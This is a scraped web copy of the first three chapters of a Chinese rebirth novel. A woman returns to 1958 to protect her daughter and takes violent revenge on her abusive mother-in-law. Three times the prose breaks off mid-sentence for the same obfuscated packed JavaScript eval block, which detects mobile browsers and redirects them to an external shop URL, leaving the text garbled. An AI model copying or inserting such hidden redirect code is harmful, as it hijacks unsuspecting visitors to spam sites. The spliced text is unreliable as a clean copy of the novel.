《年代文反派亲妈重生了》 1. 第 1 章 《年代文反派亲妈重生了》文/奶酪月亮 第1章 “哗啦”一声。 一瓢子刚从井里舀上来的冷水泼了上来，晕倒在地上的女人不自觉抽搐了一下，却没有半点要苏醒的迹象。 女人紧闭着眼睛，胸口呼吸时的气息越发弱了起来，甚至有那么一瞬心脏也跟着停止了跳动，但泼水的人没有发现，甚至以为女人是在故意装晕，边骂边揪起她破旧的衣领子说着就要将抡圆的巴掌扇到她的脸上，似乎想再好好教训教训她。 下了狠劲的巴掌抡起来时都像是带着风，也是这瞬间掀起来的风的气息，让刚刚心脏骤停一瞬后又立刻恢复过来的女人，也就是苏南来，在没有任何人意识到的情况下苏醒了过来。 ——这是危险的气息。 在末世锻炼出来的战斗意识和肌肉反应，让才刚刚清醒过来的苏南来顾不上观察周围环境，更没时间思考自己在末世拥有的力量怎么突然不见的，只能下意识去遵循本能地操控着这具虚弱到抬起手都需要极大力气的身体抵抗着即将到来的危险。 迎面而来的巴掌很难躲开，苏南来也只能歪头尽可能让这巴掌的力道减弱。 扭过头，她没去管被扇了一巴掌后给身体带来的的眩晕与头疼，果断伸手抓住对方揪在自己衣领的另一只手，用尽全身力气，毫不留情地狠戾扣住再一拧—— 咔嚓一声，这人就被拧得手腕失去知觉，边痛苦喊着挣扎着边骂骂咧咧道：“苏南来你竟然还敢还手打我？！哎呦老天爷，赶上你这样的儿媳妇，我真是倒了八辈子的血霉！” 被这人精准喊出名字并一通骂咧咧后，苏南来像是意识到了什么，顾不上被扇了一巴掌后的眼冒金星，一把揪住了对方，仔细端详了一番后，不确定地问道：“你是赵金花？” 看着因被自己直呼大名而险些气昏了头的赵金花骂骂咧咧的样子，苏南来没再理会她，只眯着眼睛卡看向四周，看着熟悉的低矮平房、种了菜的院子和坑洼不平的泥巴墙，她狠狠拧了大腿一把，疼得嘶了一声： “不是在做梦……” 她低头喃喃说着说着，咧嘴露出了一个笑容—— 系统没有骗她！ 她真的穿回来了！ …… 苏南来是在队里闹饥荒那几年里，被赵金花，也就是眼前这个总拿婆婆身份压制自己的人和站在她背后坐享其成的婆家给折磨、使唤到累死、饿死的。 去世时，苏南来的内心既有着对赵金花等人深深的恨意，也有对自己如此不争气到竟被逼到如此绝境的惭愧、愤懑……但这些情绪也都只是一闪而过，真正让她舍不下放不下的，是她才刚满五岁的女儿宋抗美，和在任务中失踪，下落不明的丈夫宋望北。 带着不肯也不愿相信丈夫去世的执念，和对女儿的无限眷恋、不舍与担忧，苏南来无奈也被迫结束了自己还不到三十岁的人生。 大概是舍不下也放不下的执念太多，苏南来在咽气后并没有彻底死掉，而是被一个自称是“拯救反派”的系统给带到个叫系统空间的地方。 这个不知道是什么来路的系统告诉苏南来，说她是一本混合各种热门元素的年代文小说中连炮灰都算不上的小角色，包括她一直惦记的闺女也一样是书里的角色，还是比她还要更惨的主角对照组兼结局惨淡的反派。 系统：“如果你想要重新开始生活，让你们一家三口都能摆脱书中既定命运，就必须得听从本系统的安排去到另外一个世界完成任务。只要你能把本系统派发的任务完成，你就可以重生……就是可以死而复生回到拯救你丈夫和女儿的关键时间点。” 苏南来不明白自己怎么就成了书中角色，也不理解什么炮灰、对照组、反派的意思，更不懂为什么她们一家三口会被安排地什么“既定命运”的意思。 但她听懂了一句话—— 只要完成任务，她就能重获新生。 能活着谁想死。 她舍不得年幼的闺女，也惦记着失踪后再没音讯不知生死的丈夫，更不想自己年纪轻轻就含恨而终！ 因此，哪怕这个机会是要付出代价且不确定能不能实现的，她也一定要试试！ 坚定了心中信念后，苏南来在连要完成的任务是什么都不知道的情况下，没有半点犹豫地答应了。 然后，她就被系统送去了末世。 那是个比苏南来经历过的饥荒还可怕的世界，而她的任务就是要在这个充斥着血腥与丑恶的丧尸，和无法预知的天灾天象的末世里活下去，一直活到系统判定她的任务完成为止。 系统在给自己丢去末世后，就只说了一句“等任务完成后，你就能回去”的话，就再也没出现过，这让苏南来在有段时间里都差点以为一切都是自己臆想出来，险些就绝望到放弃。 但还好，系统没有说谎，她真的回来了。 苏南来不太想回忆做任务时的经历。但不得不说的是，尽管末世可怕，但系统还是很人性化的。 为了让她能适应现代社会，系统提前将她投放，让她得以在暴风雨前的平静世界中缓冲许久，见识了许多不同于她所处年代的发展，学到了许多知识。包括之后令人恐怖的天灾、末世也一样教会了她很多，并淬炼了她虚弱的身体，帮她塑造了更为强大的内心。 不过…… 苏南来感受了一下如今虚弱无力的身体，有些不确定自己在末世得到强化的“大力士”体质能不能跟着一起回来。 要是能跟着一起回来的话就最好，回不来的话……苏南来看了一眼被自己唬住的赵金花，想了想那些这辈子还没来得及见上面的曾欺负过自己和闺女的人，觉得就算体质没法跟着穿回来也没事，她正好拿这些人练练手。 多打几回，力气肯定能变大。 嗯，一定！ 苏南来心里这样想着，反手揪住赵金花的力气就不免加大了几分。 末世多年，她遗忘了很多人、很多事，但她没有忘记过和丈夫、女儿一起相处相守的时光，也忘不了赵金花等人所做出的种种恶行，和对他们的恨！ 只是比起报仇，苏南来在确定自己是真的穿回来后最关心也最迫切想要见到的，还是被她惦记多年，也多年没见的女儿。 “圆圆呢？”苏南来也不管自己如今是回到了几几年，她只想知道自己的闺女现在在哪儿。 “你生的赔钱货你不知道她去哪了我又上哪知道去！” 赵金花不是个会审时度势的人，哪怕被揪住了衣领子，也仍觉得苏南来是从前任她拿捏的泥人，嘴上不肯饶人地叫嚣着： “苏南来，你别以为我不知道宋望北那不认爹妈的混蛋玩意今年不回家探亲的事！我告诉你，家里已经快揭不开锅了，你要是不把你手里的津贴交出来，你们娘俩就别想过好这个年……哎呦喂！” 话没说完，赵金花就因苏南来骤然松开的手而不受控制地倒在了地上，后背磕到了石头子上面，疼得她是哎呦哎呦叫唤。 对于赵金花发出的难听又刻意的哀嚎声，苏南来并不在意，因为她已经意识到自己是穿回到了什么时候—— 这是丈夫宋望北寄信给自己说要去执行任务，今年不能回家过年后就突然没了消息的1958年的冬天。 在这一年过完年后，一场百年难遇的饥荒来了。 之后又发生了太多太多的事…… 直到，自己去世。 苏南来对这段时间里发生的事情记得很清楚—— 在收到丈夫的来信后不久，向来很少生病的圆圆突然高烧不退，村里的赤脚大夫看不了，苏南来怕给耽误了，就赶紧带闺女去县里的医院看病。 县医院的大夫说圆圆这是肺炎必须住院输液，苏南来就又急匆匆回家拿陪床需要用的东西，也就是在这个时候，赵金花不知道从哪儿打听到宋望北今年不回家过年的消息，似乎是觉得他不回来自己就好欺负，便直接上门说她家里揭不开锅，逼着就要她把宋望北寄回来的津贴交出来…… …… 赵金花是宋望北14岁前的亲娘。 在他14岁那年，已经有三个儿子的赵金花又怀了一胎，非说宋望北这个二儿子是个上克父母、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179332|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下克兄弟姐妹的天煞孤星，哭着喊着就说要给他送人的同时，还克扣口粮，一副“不把这天煞孤星送走我就饿死他”的样子，实在是让人不敢相信这是亲娘。 但一看宋望北那捡着赵金花、宋福贵两口子优点随来的模样，又没人会认为他不是老宋家的亲儿子。 宋望北的长相是十里八村出了名的英俊，个子也高。 这模样，换作其他人家的爹娘，就算是偏心也肯定是往他这里偏。 可在宋望北这里，却是亲爹亲娘偏听偏信地认定他是天煞孤星，差点没给他饿死，包括亲大哥亲兄弟，也都是看着他从小就包揽了家里大半的活计，看他受苦挨饿到差点没命也都一声不吭。 宋望北没被亲人饿死在14岁，还是靠同村一位和他们家早就出了五服的表舅爷的善良——因看不下去这一家人的所作所为，这位表舅爷用一袋二十斤的细粮从父母那里换了他一条命。 从此，宋福贵和赵金花家的二儿子宋二柱，变成了因打张而没了半条腿的退伍老兵宋有牛的儿子，宋望北。 之后数年，两家都没再往来过，一直到后来宋望北参军入伍，赵金花得知部队每个月都会发津贴后，撒泼打滚跑来要钱，当年的事才又一次在村里被提起来。 赵金花是个不要脸面的人，天天和村里人哭穷卖惨骂宋望北不孝顺，但架不住宋有牛在当年认养了宋望北后就把他的户口迁到了自己名下，任凭赵金花如何耍闹，宋望北的钱也落不到她的手里。 只是后来宋有牛去世，宋望北又常年不在家，赵金花就又故技重施地试图以言论逼着宋望北给钱。 钱是不可能给的，但人们总是健忘又念旧情的，虽说村里大部分的人还是好的，瞧不上赵金花这种行为，但也架不住有“老鼠屎”般存在的人，总爱张口闭口说些“毕竟是亲娘”“你现在条件好，又不是没有钱，也该接济接济亲爹娘和兄弟”的风凉话。 这也是苏南来总是很少和村里人来往的原因之一。 ——未经他人苦的人总是热衷于慷他人之慨。 但赵金花就爱听这样的话。 她对外向来会装可怜，总爱在人群面前故意演戏，和队里那些看不惯宋望北日子过得好而心生嫉妒的人一起一唱一和着，说些挤兑人的话，目的就是为了让人觉得宋望北不孝顺，变着法地要钱。 且越发变本加厉。 想起赵金花刚刚还想抬手扇自己耳光的样子，苏南来觉得从前的自己是挺窝囊的，总是既怕被村里人议论、排挤，又怕给村领导们添麻烦、惹人嫌……可她怕来怕去的结果是什么？是一点点养大了赵金花等人的胃口！最后害了自己，更害了闺女。 如今重生回来，再想起从前的事，苏南来就遏制不住心中怒火。 她记得很清楚—— 在这次抢钱事件发生后，队里的领导得知这件事倒是有给对方个教训，叫赵金花这一家子人老实了些日子。 可等到后面闹饥荒，宋望北失踪的消息被传出，队里又出了件……总之，等等事情的发生，队里所有人都知道她们娘俩算是没了依靠，赵金花自然也不会放过这个机会，甚至还用圆圆威胁她，直到她彻底扛不住…… 没死过的人不知道死有多难受。 而比死还难受的，是在上辈子的自己去世后，无依无靠的女儿所面临的处境……只要一想到可能会发生在女儿身上的事，她就恨不得食肉寝皮！ 末世求生多年，苏南来早就没了从前的好脾气，也习惯了在末世时能动手决不动口的行事风格。 面对赵金花这个仇人不知死活的撒泼，她更不会惯着，直接抬手，将上辈子的自己没能躲开的巴掌还了回去。 啪—— 赵金花被这一巴掌打蒙了。 她怎么也想不到苏南来这个三杆子打不出一个屁来的窝囊媳妇，会变成眼前这干脆利落甩了自己一巴掌似乎还不解气的样子。 但容不得她反应，苏南来又给了她一嘴巴，面色平静可语气中却透着狠戾地问： “我再问你一遍—— “圆圆呢？” 2. 第 2 章 第2章 苏南来平静却莫名令人害怕的样子，和毫不留情甩巴掌的举动，让正在挣扎着，还想着要好好教训教训她的赵金花下意识打了个寒颤，没敢再动半分。 当然，也有可能她纯粹是被劈头盖脸的这两巴掌给打懵了？好吧，事实证明，赵金花短暂的沉默就是被打懵没反应过来，而不是认清现实选择低头认怂。 赵金花早就习惯在苏南来面前摆婆婆谱，平日里对她更是吆五喝六、作威作福惯的态度，哪里受得了她突然反过来欺压自己的行为，更别说自己还挨了对方两巴掌，气得可谓是一佛出世，二佛升天。 在愤怒之下，赵金花全然忘了自己刚刚被苏南来吓得不敢动弹的表现，只知道自己今天让这窝囊废给打了的事情要是传出去，简直是奇耻大辱！ 哪怕在场只有她们两个人没有别人看到，她也觉得丢脸，打定注意要给苏南来点颜色看看，好叫她以后再不敢反嘴动手！ 正在她跃跃欲试想要让苏南来好看时，又是狠狠，没有半点犹豫的一巴掌—— 痛感瞬间印在了赵金花本就被打到红肿的脸上，疼得她连话都说不出来。 “想还手打我？”苏南来咧着嘴笑了笑，笑意却不达眼底，光在那里咧着嘴岔子笑的样子直笑得赵金花毛骨悚然，总觉得自己要是敢承认，下一秒迎来的就不会是生疼的巴掌，而是要命的镰刀。 “我没……不……”直觉带来的危险感，让赵金花摇着头否认的同时，两条腿也没闲着地想要往后撤，却碍于衣领子还被揪着而逃而不得。 “这是最后一次。”苏南来又问，“我的圆圆呢？” 迎着苏南来平静的目光，赵金花终于意识到—— 苏南来不再是从前那个任由她搓来捏扁的泥人了。 “县医院！” 赵金花不敢再说别的，她脖领子都快被苏南来揪得喘不过气来了，可哪怕再害怕，她也还是止不住叫嚣道：“你那个赔钱闺女是你抱着送去县医院的，你能不知道她哪儿去了？要不是我一直盯着你，知道你去了县医院，那你今天就算是把我掐死我也不会知道那丫头在哪儿……好啊，你他娘的是不是就是故意问你闺女在哪，好等我说不出来就能打我解气！” 见苏南来不吭声，赵金花自以为戳中对方心中所想，气得又开始挣扎起来，嘴里也跟着开始骂起了更难听的话。 但苏南来并没有理会对方，平静地说了一句：“我就知道，你一直在监视我们娘俩的生活。” 这话一出，赵金花身子就是一僵，却硬撑着没敢看苏盼继续破口大骂着，心里却虚得不得了。 看着对方拼命想要掩饰内心心虚的反应，苏南来就知道，自己猜对了。 她之所以一遍遍问赵金花这个问题，就是要因为她上辈子太傻，傻到怎么也不明白赵金花为什么总能掐准对她自己最有利的时间上门要钱。 一直到后来去到末世，经历了很多事情后，她才有所猜想却再没机会去验证。 如今，一切都得到证实。 ——对方一直在监视她。 想到对方从前总能赶在自己领津贴回来时，故意拉着村里人在村口堵着自己连哭带闹，逼着自己为了息事宁人而不得不让她连拿带抢走的钱，苏南来就又是一股子气涌上心头，巴掌也跟着又扇了过去。 赵金花的脸这回也是真的肿了，说话都不利索了，可她心里不服气，色厉内荏道： “苏南来你想干啥？是还想再打我吗！你问我啥我也都说了，你凭啥还打我？！我告诉你，今天你打我这事绝对没完！咋说我也是你婆婆，你个当儿媳妇的敢跟我动手简直没天理！你别想再跟我动手，不然我就去找大队长，还，还有乡亲们，让大伙儿都来评理！” 评理？如果连她这样的人都有给评理的话，那为什么上辈子没人给她们一家三口评理！ 看着赵金花仍理直气壮的不要脸模样，苏南来都不禁赞叹：这人果然还和自己记忆中一样恬不知耻，也一样的不怕死，哪怕被自己扇了几巴掌，也还是死鸭子嘴硬。 就是这个浑身上下找不出一分一毫良心与善意的人害了她丈夫的前半生、害了她活生生的一条命，更害得她闺女过上无父无母的后半辈子，可偏偏她这样作恶多端的人竟然没有得到恶人有恶报的下场……只因为剧情只需要炮灰和反派死。 呵，剧情。 想到系统所说的，自己全家在所谓小说世界中的下场，苏南来压下了自己翻涌而来的愤懑情绪——现在不是找那些人报仇的时候。 这里不是喊打喊杀也能无罪释放的混乱末世，她不能随意杀人。更别说，干脆利落的死亡并不是折磨而是解脱，苏南来不想轻易放过这些人，她有的是时间让他们求生不得求死不能，只是比起这些，她现在最迫切要做的，就是回到圆圆的身边。 自己和圆圆之间的距离，看似只是从县城到村里一个来回路程，可能等她回到县医院时，输液瓶都还没有换，但在苏南来看来，这条她不知想了多少次的，终于回来的，奔向女儿的路，已经走了太多太多年。 想到女儿，苏南来按捺住了刚刚出现在脑海中的，无数种能在悄无声息中杀死一个人还摆脱掉自己嫌疑的想法，抬手照着赵金花脖子上一敲，给她敲晕了之后，略显嫌弃地翻起了赵金花不咋干净的衣兜…… 她得把钱拿回来！ …… 当下的年代注定人们要省吃俭用、衣着朴素，比起捧着铁饭碗，每月都能发布票的工人，公社大队的社员们穿的衣服几乎都是补丁打补丁，一年也攒不下够做一身衣服的票。 可偏偏赵金花这个队里有名的“贫困户”，一家子上工都凑不齐满工分的懒婆娘，在看似一身补丁的单褂里面，还穿着一身新布料做的棉袄，摸着里面的棉花也像是新弹的，鼓鼓囊囊的，一看就暖和。 苏南来恨恨地翻着棉袄的兜门，边想着这棉袄从布料到棉花再到针头线脑可以说都是从自己这里“道德绑架”来的，等会儿得连着棉袄一块拿走，边看着翻出来的钱，有些记不清当初自己兜里的钱有多少…… 算了，都拿走吧。 苏南来理所当然的把赵金花兜里的钱都揣进了自己的兜里，美滋滋地想着，正好自己还没吃饭，多出来的钱应该能够自己这几天在县城里吃喝的？ 想到赵金花这些年从自己这里“拿”走的钱，苏南来是又心疼又恨自己从前太窝囊！不过没关系，她现在有的是力气和手段，也知道老宋家藏钱的地方在哪儿，等……呵呵。[注1] 苏南来估摸了一下自己的饭量，自言自语道：“他们藏的那些钱至少能够我吃上几十顿红烧肉……” 想到红烧肉，和知道能吃到红烧肉一定会很高兴的闺女，苏南来就觉得自己原本还有几分强撑着的虚弱身体中涌现出了许多的力量。 得抓紧时间了。 在把钱装好后，苏南来继续扒着赵金花身上的棉袄，回头把棉袄改成一套棉衣棉裤给圆圆穿，这可都是好布料新棉花，洗洗就能穿！ 赵金花：真·瑟瑟发抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179333|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .GIF …… 把钱揣好，棉袄扒下来后，苏南来没理会还晕在地上只穿着单衣单裤的赵金花，径直回屋收拾起了自己去医院陪床所需要的东西。 边收拾边分析。 在确定自己穿回到1958年，知道心心念念的闺女正在县医院输液后，苏南来虽遗憾自己没能穿回到丈夫还没出任务时，但不管是上辈子还是这辈子，苏南来都坚信丈夫没有死。 或者说，就算是死那也是上辈子的事情。 系统说过，只要她完成任务再重生回到原本的时代，就能拥有不受剧情控制并拥有改变剧情，避免她一家三口既定结局的能力。 现在是1958年，距离她既定的死期还有三年时间，距离丈夫在任务中失踪消息传来也还有不到一年，一切都还来得及！ 哪怕苏南来从始至终都不知道具体的剧情会在何时何地开始，但只要她和丈夫能活着，那作为父母的他们自然就能保护好圆圆，并在剧情开始的第一时间就带她远离主角。 系统虽从没说过除圆圆在剧情中结局以外的半点信息，但却曾经告诉她，所谓的剧情就像是她在末世时遭遇的那些丧尸，它们没有思想神志，只有大脑中仅存着“吃人”这一程序。而剧情就像是丧尸大脑里被设定好的程序，它没有备选方案，只要在开始前改变剧情，让它无法推动下去，那么后面的一切逻辑就都会崩盘。 ——这也是苏南来在重生后所必须要做的事情。 就像是打丧尸，她必须要一击爆头。 只有这样，她才能彻底改变所谓剧情中那“因为是反派，所以就不能父母双全，必须得有一个悲惨的童年经历”的狗屁逻辑—— 因为被选中为反派，所以必须得有悲惨经历； 因为拥有悲惨经历，所以才会成为最大反派。 #￥%%@￥……# 苏南来咽下自己差点脱口而出的那些在末世生活那些年学来的难听脏话，只在心中坚定道：甭管是炮灰还是反派，都爱谁当谁当，她们一家三口谁都不当！ …… 在简单分析了自己当下所处的情况和现有的信息，并明确了自己接下来要做的事情后，苏南来没再耽误时间，打算尽快去医院。 得先把闺女的病看好了，确定她的身体没有问题以后，苏南来才能有精力去思考自己该如何改变剧情，以及该如何保证已经出任务的丈夫的人身安全等等问题的解决办法。 当然，在那之前，最先需要她做的，是要处理好还昏迷在院里的赵金花。 该怎么处理她呢？或者说，该怎么做才能在将自己摘出来的同时，给赵金花以及老宋家一个教训，并拿回这些年被他们拿走的钱呢？ 在将目光望向地上的赵金花片刻后，苏南来心里有了主意。 …… 在费了不少力气将赵金花从自家院子里拖出去后，苏南来抹了一把头上的汗，心想：这是什么家庭条件还好意思来自己这里抢钱？这体格子也太敦实了，难怪自己上辈子没能打过她！ 这样想着，苏南来连拖带拽的动作就更加粗暴了起来。 将赵金花拖出自家院子还不算完。 苏南来虽没打算要了她的命，但心里还是止不住恨意，不愿意轻易放过她，索性趁着天冷，村里大部分人不是在地里堆肥，就是在家里猫冬不出来，根本没人会注意到处于村子边缘处的她家情况时，直接给赵金花拖到了离家不远的土坡边上。 然后，毫不留情地踹了一脚—— 3. 第 3 章 第3章 这处土坡不算很高。 根据苏南来的目测，和对赵金花自身脂肪含量的情况判断，从这上面轱辘下去顶多就是浑身青紫，不会骨折只会疼上十几天。 当然，如果参考天气、当下时间和赵金花当下处于昏迷的状态，那么她摔下去后更大的可能是会陷入深度昏迷。等她醒过来的时候，天也肯定黑了，并且气温也会下降到零下摄氏度。到时，她就会从摔一身青紫，变成轻度脑震荡外加冻伤感冒。 啧。 苏南来想，这也算自己在好不容易才穿回来后给多年不见的“婆婆”赵金花的第一份“见面礼”。 身体很疲惫，精神却很亢奋。 站在山坡边缘处，苏南来俯视着晕倒的赵金花顺着山坡一路轱辘下去后，先是被硬生生疼醒又疼晕在地上的样子，忍不住快意地笑了。 不过，反派总是死于浪费时间。 苏南来不打算在这里耽误太久，更别说心心念念的闺女还在县医院等着自己呢。 她没再浪费时间，匆匆回家以前，还不忘清理着山坡四周和回去这一路上所留下的痕迹。 这是她在末世养成的习惯。 在确定不会有人将这事怀疑到自己头上后，苏南来没半点犹豫地回到家中，准备再做些其他的安排。 作为即将要去县医院待几天照顾孩子的人，她总不能光给赵金花“送礼”，就忽略了其他人。 苏南来表示，自己也不是那种不在家就不给老宋家其他人准备“见面礼”的抠搜人。——她一定会好好准备，争取在从县医院回来前，就送给他们全家一份“大礼”。 …… 苏南来所在的村子叫小辛庄，是个有山有河有树林的边缘地区。 从“大跃/进”开始，以及人民公社的成立后，小辛庄村和隔壁同样只有几十户人口的大辛庄一起合并改名叫做“辛庄生产大队”，村里的书记成了生产大队的大队长，村长则成了治保主任，村民们则被分为一个个的生产小队，被统称为社员。 在完成了“三大改造”后，老百姓们正式进入了人民公社时代。 大锅饭，也是在这个时候兴起来。 在没有经历自然灾害前，代表着平均主义的大锅饭的确是能保证温饱。 但从58年就已经初见端倪的全国部分地区的重旱情况，将会不断扩大范围并一直持续到62年……自然灾害是不可控的。 如果不是亲身体验过，苏南来恐怕也会像正在大队食堂里吃着大锅饭的社员们一样说着家长里短、期待着新一年的耕种与收获。 所以…… 大队食堂在哪儿来着？ 苏南来在感慨了片刻即将发生在身边、在各个地区乃至全国的三年困难时期后，就立刻从负面情绪中挣脱出来，转而开始费脑子地回忆起大队食堂的位置。 由于辛庄生产大队离县城比较远，苏南来在收拾好要带去县医院陪床的衣服褥子后，也没傻到说自己一路扛着去，而是遵循着自己模糊的记忆，去了队里的食堂，打算找这时间应该在吃饭的大队长借车。 辛庄生产大队是两个村合并而成，大队长自然也有两个，只是对外宣称一个是正的，一个是副的，实际上还是各管各的村，各管各的生产队。 小辛庄这边的生产大队长叫田丰年，今年不到五十岁，是小辛庄本地人，是位退伍军人。 他当年在战.场还算命大，只被敌人打中了腿，人活下来了，但到底是有点瘸了，田丰年也就选择退伍安排工作，之后就被安排回了家乡小辛庄，当上了生产队长。是个能力不俗又刚正不阿的正派人。 苏南来对他最深刻的印象是在饥荒第一年，也就是59年的冬天。 当时队里因为粮食不够吃差点饿死人，又迟迟等不到救助粮，这位大队长不愿意坐等饿死，就组织了十多个青壮年一起上山打猎，打算猎点野味去换粮食，结果运气不好遇到了同样饥饿到从深山下来的野猪…… 如果没记错的话，这位大队长为了救队伍里一个年轻人，将自己暴露在了野猪群面前，受过伤的瘸腿导致闪避不及，就…… 苏南来对这位大队长印象很不错，她觉得自己或许可以将其中一个改变剧情的关键点放在田丰年身上。因为只要他不死，他就能继续震慑住小辛庄、隔壁大辛庄的大队长还有那些像老宋家一样心怀鬼胎的人。 不过现在说这些还太早。 比起还有至少一年才会牺牲的田丰年，苏南来觉得自己是真得赶紧想办法囤粮了，毕竟当下这大锅饭模式还没解散，分给个人的粮食都是直接归到食堂里统一分配，也就是当下马上该过年了，队里才把今年分下来的粮食分了一部分给到个人，可这点粮食都还不够她一顿吃的！ 自打国家大炼钢铁，家家户户为了响应号召连家里的铁锅铁勺都上交上去，开始了集体吃大锅饭。刚开始吃这大锅饭时，人人都能吃得油光满面，个个都挺着个“将军肚”放松了裤腰带，但这才一年不到，就只能说勉强吃饱。 所谓“放开肚皮吃饭，鼓足干劲生产”的宣传口号，在实行了不到两三个月的时间，各地的食堂就都已经寅吃卯粮了。 更别说如今“浮夸风”盛行，各公社、各大队的社员们过得都十分艰难，等到明年开始的粮食大减收，三年困难时期正式拉开序幕时，仍在继续的大锅饭更是连饱腹都难以做到，一天三顿饭也变成了一天两顿，都是半稀不干的糊糊粥，队里几乎都在挨饿。 想起自己去世前的严峻情况，和即将到来的饥荒，苏南来的态度并不乐观。 苏南来想，等到了县城，她得利用在县城的几天时间好好琢磨琢该怎么合理弄到粮票，或者是找个借口让田丰年给自己开能去市里的介绍信，那里有在当下还算合法的鸽子市，从那应该能买到粮食。 …… 到了大队长面前后，苏南来压下心中的万千思绪，只和他说了自己想借牛车去县医院陪床的事：“……医院病房里只有行军床，其他啥都没有，被窝褥子都得自己带，至少得再住个两三天，得带去不少东西，所以……” “从咱们大队到县里是挺远的，你这拎着这么多东西去县城也的确不怎么方便，不过借自行车还是算了吧。不是我不乐意把队里的自行车借你，主要是……” 田丰年打量了一下苏南来这还没两袋苞谷沉的小身板，认真劝道：“这要是骑车去县里至少得俩小时，更别说你还得驮着这么多东西过去，你这……实在是够呛。所以，安全起见，你还是做牛车去吧，反正现在地里没有耕作任务，也先用不上耕牛……” 说着，田丰年突然抬高声音道：“这样吧，望北家的，你等会直接去找老刘让他套车，到时候咱队里要是有想去县里赶集的也能跟着一趟车去！但提前说好啊，一家只能去一个，剩下的人，下午还得继续堆肥！” 整个大队就只有苏南来家是军属，田丰年自然是要多加照顾，可架不住宋望北这身世实在复杂，老宋家的人在宋有牛去世后，就跟揭不掉的狗皮膏药似的，总想占便宜，而村里头也有那么一小撮人就跟刀子不扎在自己身上不觉得疼似的天天跟着瞎搅合。 为此，田丰年必须把控好照顾军属的分寸，既不能让老宋家白占便宜，又不能让村里人觉得不公平四处串闲话外加排挤苏南来娘俩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179334|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 像是此刻，哪怕只是安排牛车送她去趟县城，他也得当着大伙儿把话说清楚。 啰嗦点就啰嗦点吧，总比事后老宋家又在背后乱放屁强！ 田丰年向来瞧不上老宋家这又馋又懒又爱占便宜的人家，自然也没注意到向来是这家子里打饭最积极的赵金花的缺席，转而催促起了想顺路坐牛车赶集的人：“行了，都赶紧回去收拾收拾一块去找老刘吧！别耽误出发时间，免得回来晚了天黑了，不好赶路！” 冬天天黑得早，大伙儿都清楚夜路有多难走又有多吓人，自然不敢耽误时间，也不觉得大队长说这话是怕耽误苏南来去县医院照顾孩子，反而挺高兴有苏南来借牛车这一出，好叫大队长亲自发话让他们也能跟着去县里赶集。 但高兴归高兴，大伙儿也还是下意识将苏南来落在了人群的最后。 这倒不是有意的排挤，只是苏南来毕竟是丈夫在部队常年不归家的留守妇女，性格好长得也漂亮，未婚已婚的男同志就先得避嫌，而这家里有年貌相当丈夫或儿子的小媳妇老婆婆哪怕清楚苏南来的为人，也仍旧会下意识防备她，说不上排挤，但也会有意疏远。 更别说苏南来她男人和亲爹妈那儿也是扯不开的乱账，以及赵金花曾多次说过她和宋望北是天生一对，一个天煞孤星，一个扫把星的话，也让大家不免…… 总之，队里不管男女老少对她都是“有忙一起帮，没事少接触”的态度。 到底是一个村的，宋望北是从小看到大的苦命孩子，苏南来也是在村里生活了那么多年的和善人，大伙儿出于种种原因不敢和他们相处太密切，却也不代表他们有事会袖手旁观。 疏远的态度不等于冷眼旁观。 像是此刻，有几个婶子虽说都没和苏南来搭话，可苏南来手里拿着的沉包袱却早在出发时就被她们默默帮忙拿在了手里。 苏南来在她们帮自己拿包袱的行为中，回忆起了不少这样的场景，也想起了当时自己被困在老宋家时，同样挨饿的大伙儿虽说是各扫门前雪，却也还是有人时不时会关心自己在老宋家的生活，甚至还有人去老宋家看望过她……其中就有这几个婶子。 只能说，做人论迹不论心，一个人的好坏也不能单靠某一件事上的表现或单一行为来判断的，到底是要靠相处……她上辈子的种种遭遇，也只能怪她自己太过软弱。 苏南来拎着手里仅剩下的一个小包袱，默默走在队伍最后，心里既感慨人群中这几位嘴硬心软的婶子大娘们对自己的照顾，又暗自反省着自己上辈子太过懦弱的性格。 想来想去得出来的结论就是：应该在将赵金花推下山坡时，再往下面扔几块大石解气才对！ 哎，不能想了。 还是得朝前看。 把这辈子过好才是硬道理。 苏南来甩了甩头，没再自怨自艾，转而心里想道：一会儿见到了赶牛车的老刘头，一定得趁此机会好好认认脸，免得被人发现她其实早就不记得村里大多数人是谁的事实…… …… 坐上了牛车，一群人朝县城出发。 留在队里的老少爷们则在田丰年的带领下，继续忙活着冬天堆肥和麦子保温的工作中。有田丰年这个大队长在，队里是谁也不敢偷懒，老宋家的人也一样只能规规矩矩地跟着一起忙活。 在这样的各司其职下，似乎没有人想起赵金花，连老宋家的人也没意识到对方已经小半天没露面的事，更别说会有人担心她了。 只偶尔在堆肥过程中，有人隐隐听到了几声类似哀嚎的声音，也只当是北风呼啸，继续埋头于堆肥工作了。 赵金花：救——命——啊——！ 4. 第 4 章 第4章 